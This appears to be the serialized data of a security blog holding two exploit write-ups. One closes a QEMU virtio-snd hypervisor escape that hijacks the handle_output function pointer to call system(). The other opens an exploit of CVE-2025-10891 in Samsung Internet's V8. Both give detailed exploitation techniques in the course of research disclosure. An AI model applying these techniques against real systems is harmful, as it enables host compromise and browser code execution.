handle_output;\n",{"type":23,"tag":75,"props":141764,"children":141765},{"class":77,"line":196},[141766,141771,141775],{"type":23,"tag":75,"props":141767,"children":141768},{"style":94},[141769],{"type":29,"value":141770},"    VirtIODevice ",{"type":23,"tag":75,"props":141772,"children":141773},{"style":209},[141774],{"type":29,"value":601},{"type":23,"tag":75,"props":141776,"children":141777},{"style":94},[141778],{"type":29,"value":141779},"vdev;\n",{"type":23,"tag":75,"props":141781,"children":141782},{"class":77,"line":220},[141783],{"type":23,"tag":75,"props":141784,"children":141785},{"emptyLinePlaceholder":15},[141786],{"type":29,"value":276},{"type":23,"tag":75,"props":141788,"children":141789},{"class":77,"line":248},[141790],{"type":23,"tag":75,"props":141791,"children":141792},{"style":94},[141793],{"type":29,"value":115136},{"type":23,"tag":75,"props":141795,"children":141796},{"class":77,"line":270},[141797],{"type":23,"tag":75,"props":141798,"children":141799},{"style":94},[141800],{"type":29,"value":27801},{"type":23,"tag":32,"props":141802,"children":141803},{},[141804,141805,141811,141813,141819],{"type":29,"value":2846},{"type":23,"tag":71,"props":141806,"children":141808},{"className":141807},[],[141809],{"type":29,"value":141810},".handle_output",{"type":29,"value":141812}," field is a callback, specifically a function pointer that gets called when the virtqueue receives a notification from the guest, and ",{"type":23,"tag":71,"props":141814,"children":141816},{"className":141815},[],[141817],{"type":29,"value":141818},".vdev",{"type":29,"value":141820}," is the pointer passed to it as the first argument:",{"type":23,"tag":64,"props":141822,"children":141824},{"code":141823,"language":14432,"meta":7,"className":27738,"style":7},"static void virtio_queue_notify_vq(VirtQueue *vq)\n{\n    if (vq->vring.desc && vq->handle_output) {\n        VirtIODevice *vdev = vq->vdev;\n\n        [...]\n\n        vq->handle_output(vdev, vq);\n\n        [...]\n    }\n}\n",[141825],{"type":23,"tag":71,"props":141826,"children":141827},{"__ignoreMap":7},[141828,141861,141868,141923,141960,141967,141974,141981,142002,142009,142016,142023],{"type":23,"tag":75,"props":141829,"children":141830},{"class":77,"line":78},[141831,141835,141839,141844,141849,141853,141857],{"type":23,"tag":75,"props":141832,"children":141833},{"style":82},[141834],{"type":29,"value":62229},{"type":23,"tag":75,"props":141836,"children":141837},{"style":82},[141838],{"type":29,"value":62234},{"type":23,"tag":75,"props":141840,"children":141841},{"style":88},[141842],{"type":29,"value":141843}," virtio_queue_notify_vq",{"type":23,"tag":75,"props":141845,"children":141846},{"style":94},[141847],{"type":29,"value":141848},"(VirtQueue ",{"type":23,"tag":75,"props":141850,"children":141851},{"style":209},[141852],{"type":29,"value":601},{"type":23,"tag":75,"props":141854,"children":141855},{"style":110},[141856],{"type":29,"value":134207},{"type":23,"tag":75,"props":141858,"children":141859},{"style":94},[141860],{"type":29,"value":653},{"type":23,"tag":75,"props":141862,"children":141863},{"class":77,"line":100},[141864],{"type":23,"tag":75,"props":141865,"children":141866},{"style":94},[141867],{"type":29,"value":2549},{"type":23,"tag":75,"props":141869,"children":141870},{"class":77,"line":121},[141871,141875,141879,141883,141887,141892,141896,141901,141905,141910,141914,141919],{"type":23,"tag":75,"props":141872,"children":141873},{"style":175},[141874],{"type":29,"value":1363},{"type":23,"tag":75,"props":141876,"children":141877},{"style":94},[141878],{"type":29,"value":183},{"type":23,"tag":75,"props":141880,"children":141881},{"style":110},[141882],{"type":29,"value":134207},{"type":23,"tag":75,"props":141884,"children":141885},{"style":94},[141886],{"type":29,"value":1156},{"type":23,"tag":75,"props":141888,"children":141889},{"style":110},[141890],{"type":29,"value":141891},"vring",{"type":23,"tag":75,"props":141893,"children":141894},{"style":94},[141895],{"type":29,"value":557},{"type":23,"tag":75,"props":141897,"children":141898},{"style":110},[141899],{"type":29,"value":141900},"desc",{"type":23,"tag":75,"props":141902,"children":141903},{"style":209},[141904],{"type":29,"value":7889},{"type":23,"tag":75,"props":141906,"children":141907},{"style":110},[141908],{"type":29,"value":141909}," vq",{"type":23,"tag":75,"props":141911,"children":141912},{"style":94},[141913],{"type":29,"value":1156},{"type":23,"tag":75,"props":141915,"children":141916},{"style":110},[141917],{"type":29,"value":141918},"handle_output",{"type":23,"tag":75,"props":141920,"children":141921},{"style":94},[141922],{"type":29,"value":193},{"type":23,"tag":75,"props":141924,"children":141925},{"class":77,"line":138},[141926,141931,141935,141940,141944,141948,141952,141956],{"type":23,"tag":75,"props":141927,"children":141928},{"style":94},[141929],{"type":29,"value":141930},"        VirtIODevice ",{"type":23,"tag":75,"props":141932,"children":141933},{"style":209},[141934],{"type":29,"value":601},{"type":23,"tag":75,"props":141936,"children":141937},{"style":94},[141938],{"type":29,"value":141939},"vdev ",{"type":23,"tag":75,"props":141941,"children":141942},{"style":209},[141943],{"type":29,"value":212},{"type":23,"tag":75,"props":141945,"children":141946},{"style":110},[141947],{"type":29,"value":141909},{"type":23,"tag":75,"props":141949,"children":141950},{"style":94},[141951],{"type":29,"value":1156},{"type":23,"tag":75,"props":141953,"children":141954},{"style":110},[141955],{"type":29,"value":134193},{"type":23,"tag":75,"props":141957,"children":141958},{"style":94},[141959],{"type":29,"value":245},{"type":23,"tag":75,"props":141961,"children":141962},{"class":77,"line":161},[141963],{"type":23,"tag":75,"props":141964,"children":141965},{"emptyLinePlaceholder":15},[141966],{"type":29,"value":276},{"type":23,"tag":75,"props":141968,"children":141969},{"class":77,"line":196},[141970],{"type":23,"tag":75,"props":141971,"children":141972},{"style":94},[141973],{"type":29,"value":134374},{"type":23,"tag":75,"props":141975,"children":141976},{"class":77,"line":220},[141977],{"type":23,"tag":75,"props":141978,"children":141979},{"emptyLinePlaceholder":15},[141980],{"type":29,"value":276},{"type":23,"tag":75,"props":141982,"children":141983},{"class":77,"line":248},[141984,141989,141993,141997],{"type":23,"tag":75,"props":141985,"children":141986},{"style":110},[141987],{"type":29,"value":141988},"        vq",{"type":23,"tag":75,"props":141990,"children":141991},{"style":94},[141992],{"type":29,"value":1156},{"type":23,"tag":75,"props":141994,"children":141995},{"style":88},[141996],{"type":29,"value":141918},{"type":23,"tag":75,"props":141998,"children":141999},{"style":94},[142000],{"type":29,"value":142001},"(vdev, vq);\n",{"type":23,"tag":75,"props":142003,"children":142004},{"class":77,"line":270},[142005],{"type":23,"tag":75,"props":142006,"children":142007},{"emptyLinePlaceholder":15},[142008],{"type":29,"value":276},{"type":23,"tag":75,"props":142010,"children":142011},{"class":77,"line":279},[142012],{"type":23,"tag":75,"props":142013,"children":142014},{"style":94},[142015],{"type":29,"value":134374},{"type":23,"tag":75,"props":142017,"children":142018},{"class":77,"line":303},[142019],{"type":23,"tag":75,"props":142020,"children":142021},{"style":94},[142022],{"type":29,"value":346},{"type":23,"tag":75,"props":142024,"children":142025},{"class":77,"line":322},[142026],{"type":23,"tag":75,"props":142027,"children":142028},{"style":94},[142029],{"type":29,"value":369},{"type":23,"tag":32,"props":142031,"children":142032},{},[142033,142035,142040,142042,142047,142049,142055,142057,142062,142063,142068,142070,142075],{"type":29,"value":142034},"This means that if we free the known-address chunk and replace it with a ",{"type":23,"tag":71,"props":142036,"children":142038},{"className":142037},[],[142039],{"type":29,"value":134860},{"type":29,"value":142041}," - which is straightforward, since we control the buffer allocation size through the ",{"type":23,"tag":71,"props":142043,"children":142045},{"className":142044},[],[142046],{"type":29,"value":134448},{"type":29,"value":142048}," iovec - we can use the arbitrary read primitive to read its ",{"type":23,"tag":71,"props":142050,"children":142052},{"className":142051},[],[142053],{"type":29,"value":142054},".vq",{"type":29,"value":142056}," pointer, then follow that pointer to leak ",{"type":23,"tag":71,"props":142058,"children":142060},{"className":142059},[],[142061],{"type":29,"value":141810},{"type":29,"value":27276},{"type":23,"tag":71,"props":142064,"children":142066},{"className":142065},[],[142067],{"type":29,"value":141712},{"type":29,"value":142069}," structure. In our case, that field points to ",{"type":23,"tag":71,"props":142071,"children":142073},{"className":142072},[],[142074],{"type":29,"value":134100},{"type":29,"value":142076},", which gives us QEMU's base address.",{"type":23,"tag":32,"props":142078,"children":142079},{},[142080,142082,142088],{"type":29,"value":142081},"From there, we can use the arbitrary read primitive once more to read a resolved entry from QEMU's GOT, leaking a libc address. With that, we can compute the address of ",{"type":23,"tag":71,"props":142083,"children":142085},{"className":142084},[],[142086],{"type":29,"value":142087},"system",{"type":29,"value":557},{"type":23,"tag":923,"props":142090,"children":142092},{"id":142091},"rip-control",[142093],{"type":29,"value":142094},"RIP Control",{"type":23,"tag":32,"props":142096,"children":142097},{},[142098,142100,142105,142107,142113],{"type":29,"value":142099},"At this point, we have everything we need: an arbitrary read/write primitive, a QEMU code leak, and the address of ",{"type":23,"tag":71,"props":142101,"children":142103},{"className":142102},[],[142104],{"type":29,"value":142087},{"type":29,"value":142106},". To hijack control flow, we do not need to look far - we just described a function pointer on the heap at a known address: ",{"type":23,"tag":71,"props":142108,"children":142110},{"className":142109},[],[142111],{"type":29,"value":142112},"VirtQueue.handle_output",{"type":29,"value":557},{"type":23,"tag":32,"props":142115,"children":142116},{},[142117,142119,142124,142126,142131,142133,142138],{"type":29,"value":142118},"We overwrite ",{"type":23,"tag":71,"props":142120,"children":142122},{"className":142121},[],[142123],{"type":29,"value":141810},{"type":29,"value":142125}," with the address of ",{"type":23,"tag":71,"props":142127,"children":142129},{"className":142128},[],[142130],{"type":29,"value":142087},{"type":29,"value":142132}," and write the command string we want to execute into memory using our arbitrary write. Then we overwrite ",{"type":23,"tag":71,"props":142134,"children":142136},{"className":142135},[],[142137],{"type":29,"value":141818},{"type":29,"value":142139}," with the address of that command string, so it is passed as the first argument.",{"type":23,"tag":32,"props":142141,"children":142142},{},[142143,142145,142151,142153,142159,142161,142167],{"type":29,"value":142144},"Then, we simply notify the virtqueue from the guest. QEMU enters ",{"type":23,"tag":71,"props":142146,"children":142148},{"className":142147},[],[142149],{"type":29,"value":142150},"virtio_queue_notify_vq",{"type":29,"value":142152},", which calls ",{"type":23,"tag":71,"props":142154,"children":142156},{"className":142155},[],[142157],{"type":29,"value":142158},"vq->handle_output(vq->vdev)",{"type":29,"value":142160}," - or, after our overwrites, ",{"type":23,"tag":71,"props":142162,"children":142164},{"className":142163},[],[142165],{"type":29,"value":142166},"system(command)",{"type":29,"value":557},{"type":23,"tag":32,"props":142169,"children":142170},{},[142171,142173,142179,142181],{"type":29,"value":142172},"Finally, with all of this, we achieve a reliable guest-to-host escape and execute ",{"type":23,"tag":71,"props":142174,"children":142176},{"className":142175},[],[142177],{"type":29,"value":142178},"gnome-calculator",{"type":29,"value":142180}," on the host system:\n",{"type":23,"tag":42164,"props":142182,"children":142183},{},[],{"type":23,"tag":142185,"props":142186,"children":142195},"tweet-card",{"author-name":142187,"date":142188,"duration":142189,"handle":142190,"media-mime-type":142191,"media-src":142192,"media-type":142193,"tweet-url":142194},"OtterSec","March 5, 2026","0:12","@osec_io","video/mp4","/posts/virtio-snd-qemu-0day/demo.mp4","video","https://x.com/osec_io/status/2029643325125390550",[142196,142201,142206],{"type":23,"tag":32,"props":142197,"children":142198},{},[142199],{"type":29,"value":142200},"We recently achieved guest-to-host escape by exploiting a QEMU 0day.",{"type":23,"tag":32,"props":142202,"children":142203},{},[142204],{"type":29,"value":142205},"We’ll share details on a new technique leveraging the latest glibc allocator behavior and what we believe is a novel QEMU-specific heap spray/RIP-control primitive.",{"type":23,"tag":32,"props":142207,"children":142208},{},[142209],{"type":29,"value":142210},"Writeup coming next week.",{"type":23,"tag":42164,"props":142212,"children":142213},{},[],{"type":23,"tag":32,"props":142215,"children":142216},{},[142217,142219,142225,142227,142233],{"type":29,"value":142218},"The final exploit, targeting QEMU commit ",{"type":23,"tag":71,"props":142220,"children":142222},{"className":142221},[],[142223],{"type":29,"value":142224},"ece408818d27f745ef1b05fb3cc99a1e7a5bf580",{"type":29,"value":142226}," (Feb 13, 2026) and the latest glibc 2.43, can be found ",{"type":23,"tag":940,"props":142228,"children":142231},{"href":142229,"rel":142230},"https://github.com/otter-sec/qemu-escape",[944],[142232],{"type":29,"value":2244},{"type":29,"value":557},{"type":23,"tag":32,"props":142235,"children":142236},{},[142237,142239,142246],{"type":29,"value":142238},"Special thanks to ",{"type":23,"tag":940,"props":142240,"children":142243},{"href":142241,"rel":142242},"https://www.willsroot.io/",[944],[142244],{"type":29,"value":142245},"William Liu",{"type":29,"value":142247}," for proofreading this post and helping us polish it before publication.",{"type":23,"tag":24,"props":142249,"children":142250},{"id":14115},[142251],{"type":29,"value":14118},{"type":23,"tag":32,"props":142253,"children":142254},{},[142255],{"type":29,"value":142256},"Starting from a heap overflow where the written bytes are effectively random, we showed how careful heap grooming and a favorable change in glibc 2.43's allocator can turn even a single byte of uncontrolled corruption into a reliable guest-to-host escape.",{"type":23,"tag":32,"props":142258,"children":142259},{},[142260],{"type":29,"value":142261},"More broadly, this exploit is a reminder that weak-looking primitives should not be dismissed too quickly - with the right heap layout and target, even highly constrained corruption can be enough.",{"type":23,"tag":14130,"props":142263,"children":142264},{},[142265],{"type":29,"value":14134},{"title":7,"searchDepth":100,"depth":100,"links":142267},[142268,142271,142274,142283],{"id":133996,"depth":100,"text":134009,"children":142269},[142270],{"id":134017,"depth":121,"text":134020},{"id":134041,"depth":100,"text":134044,"children":142272},[142273],{"id":134055,"depth":121,"text":134055},{"id":110443,"depth":100,"text":110446,"children":142275},[142276,142277,142278,142279,142280,142281,142282],{"id":136647,"depth":121,"text":136650},{"id":138174,"depth":121,"text":138177},{"id":138968,"depth":121,"text":138971},{"id":139373,"depth":121,"text":139376},{"id":139589,"depth":121,"text":139592},{"id":139795,"depth":121,"text":139798},{"id":142091,"depth":121,"text":142094},{"id":14115,"depth":100,"text":14118},"content:blog:2026-03-17-virtio-snd-qemu-hypervisor-escape.md","blog/2026-03-17-virtio-snd-qemu-hypervisor-escape.md","blog/2026-03-17-virtio-snd-qemu-hypervisor-escape",{"_path":142288,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":142289,"description":142290,"date":142291,"author":142292,"image":142295,"isFeatured":15,"onBlogPage":15,"tags":142297,"body":142300,"_type":14157,"_id":152208,"_source":14159,"_file":152209,"_stem":152210,"_extension":14162},"/blog/2026-04-01-patch-gap-to-mobile-renderer-rce","Patch Gap to Mobile Renderer RCE: Pwning Samsung Internet's V8 on the Galaxy S25","Samsung Internet on the Galaxy S25 shipped a six-month-old version of V8, exposing it to publicly known bugs. Learn how we exploited a bytecode interpreter vulnerability to achieve renderer RCE and universal XSS in the browser.","2026-04-01T12:00:00.000Z",[133992,142293,142294],"jamie","william",{"src":142296,"width":107603,"height":14},"/posts/mobile-renderer-rce/title.png",[142298,142299],"RCE","mobile",{"type":20,"children":142301,"toc":152188},[142302,142306,142311,142325,142331,142345,142366,142374,142387,142395,142408,142414,142427,142441,142447,142461,142564,142569,142577,142582,142587,142608,142686,142694,142713,142726,142732,142738,142752,142868,142873,142878,142886,142891,142899,142927,142956,142968,143144,143149,143157,143176,143189,143195,143215,143229,143234,143239,143267,143303,143372,143378,143400,143405,143413,143426,143431,143439,143444,143483,143489,143502,143507,143685,143695,143703,143723,143747,143760,143766,143771,144413,144418,144426,144468,146457,146462,146470,146476,146509,146527,146697,146755,146780,146874,146879,147670,147675,147683,147694,149738,149743,149751,149757,149779,149793,149806,149818,149848,149853,150294,150322,150429,150446,150603,150608,150620,150916,150942,150965,151097,151109,151114,151266,151302,151315,151320,151442,151483,151560,151565,152139,152145,152157,152170,152174,152179,152184],{"type":23,"tag":24,"props":142303,"children":142304},{"id":26},[142305],{"type":29,"value":30},{"type":23,"tag":32,"props":142307,"children":142308},{},[142309],{"type":29,"value":142310},"The supply chain dependency in today's software landscape is extremely complex. Any vulnerability in a core library creates an exploitable window for its dependents - maintainers either fall behind on the exhausting update schedule, backport incorrectly, or even forget about it entirely.",{"type":23,"tag":32,"props":142312,"children":142313},{},[142314,142316,142323],{"type":29,"value":142315},"One such example is V8, a JavaScript engine used ubiquitously in Chromium and Node.js-based software. In collaboration with the ",{"type":23,"tag":940,"props":142317,"children":142320},{"href":142318,"rel":142319},"https://cor.team",[944],[142321],{"type":29,"value":142322},"Crusaders of Rust",{"type":29,"value":142324}," Security Research Group, we decided to analyze the version of V8 in Samsung Internet (the default browser on Samsung phones) on a Samsung Galaxy S25 in hopes of an n-day exploitation opportunity.",{"type":23,"tag":923,"props":142326,"children":142328},{"id":142327},"finding-the-v8-version",[142329],{"type":29,"value":142330},"Finding the V8 Version",{"type":23,"tag":32,"props":142332,"children":142333},{},[142334,142336,142343],{"type":29,"value":142335},"We started by pulling Samsung Internet's APK from the device over ",{"type":23,"tag":940,"props":142337,"children":142340},{"href":142338,"rel":142339},"https://developer.android.com/tools/adb",[944],[142341],{"type":29,"value":142342},"adb",{"type":29,"value":142344}," and inspecting the libraries it shipped with.",{"type":23,"tag":32,"props":142346,"children":142347},{},[142348,142350,142356,142358,142364],{"type":29,"value":142349},"After extracting the APK, we searched the ",{"type":23,"tag":71,"props":142351,"children":142353},{"className":142352},[],[142354],{"type":29,"value":142355},"lib/",{"type":29,"value":142357}," directory for ",{"type":23,"tag":71,"props":142359,"children":142361},{"className":142360},[],[142362],{"type":29,"value":142363},"v8::*",{"type":29,"value":142365}," symbols:",{"type":23,"tag":64,"props":142367,"children":142369},{"code":142368},"$ grep -r 'v8::' lib/\ngrep: lib/arm64-v8a/libterrace.so: binary file matches\n",[142370],{"type":23,"tag":71,"props":142371,"children":142372},{"__ignoreMap":7},[142373],{"type":29,"value":142368},{"type":23,"tag":32,"props":142375,"children":142376},{},[142377,142379,142385],{"type":29,"value":142378},"Only one file matched our search: ",{"type":23,"tag":71,"props":142380,"children":142382},{"className":142381},[],[142383],{"type":29,"value":142384},"libterrace.so",{"type":29,"value":142386},". We then loaded it into a decompiler to inspect it more closely, which is where we found the bundled V8 version:",{"type":23,"tag":32,"props":142388,"children":142389},{},[142390],{"type":23,"tag":15189,"props":142391,"children":142394},{"alt":142392,"src":142393},"image1","/posts/mobile-renderer-rce/image1.png",[],{"type":23,"tag":32,"props":142396,"children":142397},{},[142398,142400,142406],{"type":29,"value":142399},"Surprisingly, this ",{"type":23,"tag":71,"props":142401,"children":142403},{"className":142402},[],[142404],{"type":29,"value":142405},"13.6.233.10",{"type":29,"value":142407}," version was already six months old at the time, with multiple publicly known bugs affecting it.",{"type":23,"tag":923,"props":142409,"children":142411},{"id":142410},"choosing-the-bug",[142412],{"type":29,"value":142413},"Choosing the Bug",{"type":23,"tag":32,"props":142415,"children":142416},{},[142417,142419,142425],{"type":29,"value":142418},"We were able to trigger a couple of bugs on our locally compiled ",{"type":23,"tag":71,"props":142420,"children":142422},{"className":142421},[],[142423],{"type":29,"value":142424},"d8",{"type":29,"value":142426}," matching the target version. One of them was CVE-2025-5419 - a store-store elimination bug that we managed to get working on the device. However, exploitation required heap spraying, which would present significant stability issues when porting to the phone.",{"type":23,"tag":32,"props":142428,"children":142429},{},[142430,142432,142439],{"type":29,"value":142431},"Another one was ",{"type":23,"tag":940,"props":142433,"children":142436},{"href":142434,"rel":142435},"https://issuetracker.google.com/issues/443875388",[944],[142437],{"type":29,"value":142438},"CVE-2025-10891",{"type":29,"value":142440}," - a bug in the Ignition bytecode interpreter. This one was attractive as bytecode is treated as trusted under the V8 sandbox model, meaning that a separate Übercage bypass would not be required. Given this, we decided to explore this bug further.",{"type":23,"tag":24,"props":142442,"children":142444},{"id":142443},"ignition-bytecode-introduction",[142445],{"type":29,"value":142446},"Ignition Bytecode Introduction",{"type":23,"tag":32,"props":142448,"children":142449},{},[142450,142452,142459],{"type":29,"value":142451},"V8 initially compiles all JS code to a bytecode format with the ",{"type":23,"tag":940,"props":142453,"children":142456},{"href":142454,"rel":142455},"https://v8.dev/blog/ignition-interpreter",[944],[142457],{"type":29,"value":142458},"Ignition",{"type":29,"value":142460}," interpreter.\nThis is a simple register-based VM with fixed size opcodes (and prefix bytes to increase operand width). For instance:",{"type":23,"tag":64,"props":142462,"children":142464},{"code":142463,"language":42561,"meta":7,"className":42559,"style":7},"let a = 1;\nlet b = 0x0fff;\nlet c = 0x0fffffff;\nlet d = 0xffffffff;\n",[142465],{"type":23,"tag":71,"props":142466,"children":142467},{"__ignoreMap":7},[142468,142491,142515,142539],{"type":23,"tag":75,"props":142469,"children":142470},{"class":77,"line":78},[142471,142475,142479,142483,142487],{"type":23,"tag":75,"props":142472,"children":142473},{"style":82},[142474],{"type":29,"value":23033},{"type":23,"tag":75,"props":142476,"children":142477},{"style":110},[142478],{"type":29,"value":100171},{"type":23,"tag":75,"props":142480,"children":142481},{"style":209},[142482],{"type":29,"value":1193},{"type":23,"tag":75,"props":142484,"children":142485},{"style":237},[142486],{"type":29,"value":15795},{"type":23,"tag":75,"props":142488,"children":142489},{"style":94},[142490],{"type":29,"value":245},{"type":23,"tag":75,"props":142492,"children":142493},{"class":77,"line":100},[142494,142498,142502,142506,142511],{"type":23,"tag":75,"props":142495,"children":142496},{"style":82},[142497],{"type":29,"value":23033},{"type":23,"tag":75,"props":142499,"children":142500},{"style":110},[142501],{"type":29,"value":101045},{"type":23,"tag":75,"props":142503,"children":142504},{"style":209},[142505],{"type":29,"value":1193},{"type":23,"tag":75,"props":142507,"children":142508},{"style":237},[142509],{"type":29,"value":142510}," 0x0fff",{"type":23,"tag":75,"props":142512,"children":142513},{"style":94},[142514],{"type":29,"value":245},{"type":23,"tag":75,"props":142516,"children":142517},{"class":77,"line":121},[142518,142522,142526,142530,142535],{"type":23,"tag":75,"props":142519,"children":142520},{"style":82},[142521],{"type":29,"value":23033},{"type":23,"tag":75,"props":142523,"children":142524},{"style":110},[142525],{"type":29,"value":48636},{"type":23,"tag":75,"props":142527,"children":142528},{"style":209},[142529],{"type":29,"value":1193},{"type":23,"tag":75,"props":142531,"children":142532},{"style":237},[142533],{"type":29,"value":142534}," 0x0fffffff",{"type":23,"tag":75,"props":142536,"children":142537},{"style":94},[142538],{"type":29,"value":245},{"type":23,"tag":75,"props":142540,"children":142541},{"class":77,"line":138},[142542,142546,142551,142555,142560],{"type":23,"tag":75,"props":142543,"children":142544},{"style":82},[142545],{"type":29,"value":23033},{"type":23,"tag":75,"props":142547,"children":142548},{"style":110},[142549],{"type":29,"value":142550}," d",{"type":23,"tag":75,"props":142552,"children":142553},{"style":209},[142554],{"type":29,"value":1193},{"type":23,"tag":75,"props":142556,"children":142557},{"style":237},[142558],{"type":29,"value":142559}," 0xffffffff",{"type":23,"tag":75,"props":142561,"children":142562},{"style":94},[142563],{"type":29,"value":245},{"type":23,"tag":32,"props":142565,"children":142566},{},[142567],{"type":29,"value":142568},"compiles to",{"type":23,"tag":64,"props":142570,"children":142572},{"code":142571}," # Load the Smi `1` into the accumulator\n 0 : 0d 01             LdaSmi [1]\n # Store it to register 0\n 2 : ce                Star0\n # Load the 2-byte Smi `0xfff` into acc\n 3 : 00 0d ff 0f       LdaSmi.Wide [4095]\n # Store it to register 1\n 7 : cd                Star1\n # Load the 4-byte Smi `0xfffffff` into acc\n 8 : 01 0d ff ff ff 0f LdaSmi.ExtraWide [268435455]\n # Store it to register 2\n14 : cc                Star2\n# `0xffffffff` doesn't fit into an Smi, so a `HeapNumber` is allocated in the function's constant pool and loaded\n15 : 13 00             LdaConstant [0]\n# Store it to register 3\n17 : cb                Star3\n18 : 0e                LdaUndefined\n19 : b3                Return\n",[142573],{"type":23,"tag":71,"props":142574,"children":142575},{"__ignoreMap":7},[142576],{"type":29,"value":142571},{"type":23,"tag":32,"props":142578,"children":142579},{},[142580],{"type":29,"value":142581},"Ignition bytecode is then passed through the Sparkplug, Maglev, and Turbofan JIT compilers depending on the required amount of optimization. Yes, V8 has FOUR compilers, all so that slop devs can continue \"engineering\" their RAM-hungry, CPU-draining web apps that have plagued the modern internet.",{"type":23,"tag":923,"props":142583,"children":142585},{"id":142584},"cve-2025-10891",[142586],{"type":29,"value":142438},{"type":23,"tag":32,"props":142588,"children":142589},{},[142590,142592,142598,142600,142606],{"type":29,"value":142591},"The bug is in the handling of try/catch blocks. These are encoded in a function as a list of ",{"type":23,"tag":71,"props":142593,"children":142595},{"className":142594},[],[142596],{"type":29,"value":142597},"[start, end) => handler",{"type":29,"value":142599}," offsets - if an exception is thrown in the given bytecode address range, ",{"type":23,"tag":71,"props":142601,"children":142603},{"className":142602},[],[142604],{"type":29,"value":142605},"handler",{"type":29,"value":142607}," is jumped to.",{"type":23,"tag":64,"props":142609,"children":142611},{"code":142610,"language":42561,"meta":7,"className":42559,"style":7},"try {\n  throw 1;\n} catch {\n  let b = 2;\n}\n",[142612],{"type":23,"tag":71,"props":142613,"children":142614},{"__ignoreMap":7},[142615,142626,142641,142656,142679],{"type":23,"tag":75,"props":142616,"children":142617},{"class":77,"line":78},[142618,142622],{"type":23,"tag":75,"props":142619,"children":142620},{"style":175},[142621],{"type":29,"value":59523},{"type":23,"tag":75,"props":142623,"children":142624},{"style":94},[142625],{"type":29,"value":401},{"type":23,"tag":75,"props":142627,"children":142628},{"class":77,"line":100},[142629,142633,142637],{"type":23,"tag":75,"props":142630,"children":142631},{"style":175},[142632],{"type":29,"value":46396},{"type":23,"tag":75,"props":142634,"children":142635},{"style":237},[142636],{"type":29,"value":15795},{"type":23,"tag":75,"props":142638,"children":142639},{"style":94},[142640],{"type":29,"value":245},{"type":23,"tag":75,"props":142642,"children":142643},{"class":77,"line":121},[142644,142648,142652],{"type":23,"tag":75,"props":142645,"children":142646},{"style":94},[142647],{"type":29,"value":58066},{"type":23,"tag":75,"props":142649,"children":142650},{"style":175},[142651],{"type":29,"value":59602},{"type":23,"tag":75,"props":142653,"children":142654},{"style":94},[142655],{"type":29,"value":401},{"type":23,"tag":75,"props":142657,"children":142658},{"class":77,"line":138},[142659,142663,142667,142671,142675],{"type":23,"tag":75,"props":142660,"children":142661},{"style":82},[142662],{"type":29,"value":19114},{"type":23,"tag":75,"props":142664,"children":142665},{"style":110},[142666],{"type":29,"value":101045},{"type":23,"tag":75,"props":142668,"children":142669},{"style":209},[142670],{"type":29,"value":1193},{"type":23,"tag":75,"props":142672,"children":142673},{"style":237},[142674],{"type":29,"value":19193},{"type":23,"tag":75,"props":142676,"children":142677},{"style":94},[142678],{"type":29,"value":245},{"type":23,"tag":75,"props":142680,"children":142681},{"class":77,"line":161},[142682],{"type":23,"tag":75,"props":142683,"children":142684},{"style":94},[142685],{"type":29,"value":369},{"type":23,"tag":64,"props":142687,"children":142689},{"code":142688}," 0 : 1b ff f8          Mov \u003Ccontext>, r1\n # Start of try block\n # ---------------------------------\n 3 : 0d 01             LdaSmi [1]\n 5 : b1                Throw\n # ---------------------------------\n 6 : 10                LdaTheHole\n 7 : b0                SetPendingMessage\n # Start of catch handler\n 8 : 0d 02             LdaSmi [2]\n10 : ce                Star0\n11 : 0e                LdaUndefined\n12 : b3                Return\nHandler Table (size = 16)\n   from   to       hdlr (prediction,   data)\n  (   3,   6)  ->     6 (prediction=1, data=1)\n",[142690],{"type":23,"tag":71,"props":142691,"children":142692},{"__ignoreMap":7},[142693],{"type":29,"value":142688},{"type":23,"tag":32,"props":142695,"children":142696},{},[142697,142699,142704,142706,142711],{"type":29,"value":142698},"However, the ",{"type":23,"tag":71,"props":142700,"children":142702},{"className":142701},[],[142703],{"type":29,"value":142605},{"type":29,"value":142705}," offset is stored in a 28-bit bitfield. If the address of the ",{"type":23,"tag":71,"props":142707,"children":142709},{"className":142708},[],[142710],{"type":29,"value":59602},{"type":29,"value":142712}," block does not fit within 28 bits, it will be silently truncated. This will lead to a jump into a completely different part of the code - even in the middle of an instruction.",{"type":23,"tag":32,"props":142714,"children":142715},{},[142716,142718,142724],{"type":29,"value":142717},"One easy way to generate a large enough function, as suggested in the initial report, is to emit many ",{"type":23,"tag":71,"props":142719,"children":142721},{"className":142720},[],[142722],{"type":29,"value":142723},"yield*",{"type":29,"value":142725}," statements, as that drastically increases the size of the Ignition bytecode.",{"type":23,"tag":24,"props":142727,"children":142729},{"id":142728},"exploitation",[142730],{"type":29,"value":142731},"Exploitation",{"type":23,"tag":923,"props":142733,"children":142735},{"id":142734},"constant-smuggling",[142736],{"type":29,"value":142737},"Constant Smuggling",{"type":23,"tag":32,"props":142739,"children":142740},{},[142741,142743,142750],{"type":29,"value":142742},"Our initial approach to exploitation was inspired by the 'shellcode smuggling' ",{"type":23,"tag":940,"props":142744,"children":142747},{"href":142745,"rel":142746},"https://blog.exodusintel.com/2024/01/19/google-chrome-v8-cve-2024-0517-out-of-bounds-write-code-execution/",[944],[142748],{"type":29,"value":142749},"technique",{"type":29,"value":142751}," - when arbitrary read-write is achieved in browser exploits, we can often JIT compile a function like this:",{"type":23,"tag":64,"props":142753,"children":142755},{"code":142754,"language":42561,"meta":7,"className":42559,"style":7},"let a = -9.255963134931783e61;\nlet b = -9.255963134931783e61;\nlet c = -9.255963134931783e61;\nlet d = -9.255963134931783e61;\n",[142756],{"type":23,"tag":71,"props":142757,"children":142758},{"__ignoreMap":7},[142759,142787,142814,142841],{"type":23,"tag":75,"props":142760,"children":142761},{"class":77,"line":78},[142762,142766,142770,142774,142778,142783],{"type":23,"tag":75,"props":142763,"children":142764},{"style":82},[142765],{"type":29,"value":23033},{"type":23,"tag":75,"props":142767,"children":142768},{"style":110},[142769],{"type":29,"value":100171},{"type":23,"tag":75,"props":142771,"children":142772},{"style":209},[142773],{"type":29,"value":1193},{"type":23,"tag":75,"props":142775,"children":142776},{"style":209},[142777],{"type":29,"value":62440},{"type":23,"tag":75,"props":142779,"children":142780},{"style":237},[142781],{"type":29,"value":142782},"9.255963134931783e61",{"type":23,"tag":75,"props":142784,"children":142785},{"style":94},[142786],{"type":29,"value":245},{"type":23,"tag":75,"props":142788,"children":142789},{"class":77,"line":100},[142790,142794,142798,142802,142806,142810],{"type":23,"tag":75,"props":142791,"children":142792},{"style":82},[142793],{"type":29,"value":23033},{"type":23,"tag":75,"props":142795,"children":1